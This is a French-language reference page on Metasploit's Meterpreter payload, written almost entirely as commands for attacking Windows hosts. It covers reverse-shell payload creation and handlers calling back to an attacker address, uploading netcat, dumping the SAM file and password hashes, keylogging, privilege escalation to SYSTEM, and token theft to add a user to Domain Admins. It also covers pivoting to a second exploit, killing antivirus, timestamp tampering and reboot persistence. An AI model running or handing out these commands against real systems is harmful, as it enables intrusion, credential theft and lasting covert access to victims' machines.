Meterpreter
| Fiche express | |
|---|---|
| Domaine | Payload avancé / post-exploitation |
| Payload | windows/meterpreter/reverse_tcp
|
| Contexte | Metasploit |
| Voir aussi | Msfconsole · Incognito · Mimikatz |
Meterpreter est un payload avancé de Metasploit. Il réside en mémoire, communique par un canal chiffré et offre un large jeu de commandes de post-exploitation : transfert de fichiers, shell, dumps mémoire, capture d'écran, keylogging, pivot, etc.
On obtient un meterpreter avec un payload de type :
set payload windows/meterpreter/reverse_tcp
Avec le payload suivant on obtient au contraire un simple invite Windows (commandes cmd uniquement) :
set payload windows/shell/reverse_tcp
Usage
msfconsole
use msrpc_dcom_ms03_026
show payloads
set PAYLOAD win32_bind_meterpreter
set RHOST 192.168.0.18
exploit
On obtient un prompt meterpreter>.
Chargement de bibliothèques supplémentaires et transfert de fichiers :
use -m process
use -m FS
help
upload /home/nc.exe c:\windows
download c:\windows\repair\sam /tmp
execute -H -f cmd -c
interact 6
Migrer vers un PID plus stable
Pourquoi migrer : meterpreter peut planter, la victime peut fermer la session ou le programme, on peut vouloir fermer meterpreter proprement.
migrate "PID de explorer"
run post/windows/manage/migrate
Commandes principales
help— affiche l'aide.background— bascule la session en arrière-plan et revient au prompt MSF.download— télécharge un fichier depuis la machine victime.upload— envoie un fichier vers la machine victime.execute— exécute une commande sur la machine victime.shell— ouvre un shell Windows (hôtes Windows uniquement).sessions -i— bascule entre les sessions.
Réseau :
portfwd
ipconfig
route
Système :
getuid
getpid
ps
sysinfo
run vnc
screenshot
getsystem
Système de fichiers (protéger les \) :
pwd
cd c:\\
cat c:\\fichier.txt
download c:\\fichier.txt
edit c:\\fichier.txt
search -d c:\\ -f *.txt
Interface utilisateur (penser à migrer sur un PID explorer via getdesktop) :
keyscan_start
keyscan_dump
keyscan_stop
idletime
Canaux de communication :
channel -h
execute -f cmd.exe -c
execute -l
interact 1
exit
close 2
Désactiver / réactiver le clavier distant :
uictl disable keyboard
uictl enable keyboard
Modifier les horodatages MACE (Modified, Accessed, Created, Entry) :
timestomp -h
timestomp c:\lado.txt -c "12/03/1992 08:12:00"
# appliquer le MACE de titi.txt vers lado.txt
timestomp c:\titi.txt -f c:\lado.txt
Capture réseau :
# en cas d'"Access Denied", désactiver l'UAC à la main
run packetrecorder -li
run packetrecorder -i 2 -l /root/Desktop
Modules
Keylogger :
run post/windows/capture/keylog_recorder
cat /root/.msf3/loot/DATE_defaut_192.168.0.31_host_windows.key_021542.txt
Extraction des empreintes (voir NTLM) — passer en mode privilégié indique au meterpreter l'accès aux informations système :
use priv
run post/windows/gather/hashdump
Voir aussi pass-the-hash.
Escalade de privilèges
execute -f cmd.exe -c
interact 1
c:\> net user boby password33 /add
Création du payload, copie sur la cible et exécution sous l'utilisateur boby :
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=443 X > payload.exe
upload /root/payload.exe c:\\
# c:\> payload.exe
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=443 E
Obtention des droits SYSTEM (puis rev2self pour redescendre) :
use priv
getsystem
getuid
# ...NT AUTHORITY\SYSTEM
rev2self
Usurpation de jetons / Kerberos
Le SID (Security Identifier) identifie une entité de sécurité (locale, AD…). À la connexion, Windows affecte à l'utilisateur un SID, des groupes et des privilèges. Deux familles d'attaques : escalade de privilèges locale et escalade de privilèges de domaine. Un jeton reste valable environ 13 heures et peut être récupéré après le passage de l'utilisateur.
ps
steal_token PID
Lorsque ps ne remonte pas les processus sous un compte de domaine, on utilise incognito :
load incognito
list_tokens -u
impersonate_token DOMAIN\\user
add_user username password -h IP_controleur_domaine
add_group_user "Domain Admins" username -h IP_controleur_domaine
getuid
list_tokens -u
shell
echo %USERNAME%
exit
rev2self
steal_token PID
Pivots entre systèmes
Un pivot crée une passerelle via le premier système compromis pour atteindre un sous-réseau autrement inaccessible.
run get_local_subnets
background
route add 192.168.0.0 255.255.255.0 1
route print
Second exploit visant une machine Linux à travers la passerelle Windows :
use linux/samba/lsa_transnames_heap
set payload linux/x86/shell/reverse_tcp
set LHOST 192.168.0.19
set LPORT 8080
set RHOST 192.168.0.58
exploit
Ajout automatique des routes :
load auto_add_route
exploit
Scripts de post-exploitation
run vnc
run screen_unlock
run killav
run hashdump
run packetrecorder -i 1
run scraper
Persistance après reboot :
run persistence -X -i 50 -p 443 -r 192.168.0.19
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST 192.168.0.61
exploit
Pour supprimer la persistance : retirer l'entrée de registre et le script déposé.
# HKLM\software\microsoft\windows\CurrentVersion\Run\xEYnaHedooc
# c:\windows\temp\
Les scripts historiques sont progressivement remplacés par des modules post, applicables à plusieurs cibles à la fois :
run post/windows/gather/hashdump
API Windows (Railgun)
irb
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
- Référence MSDN : http://msdn.microsoft.com
- Sources :
external/source/meterpreter/source/extensions/stapi/server/railgun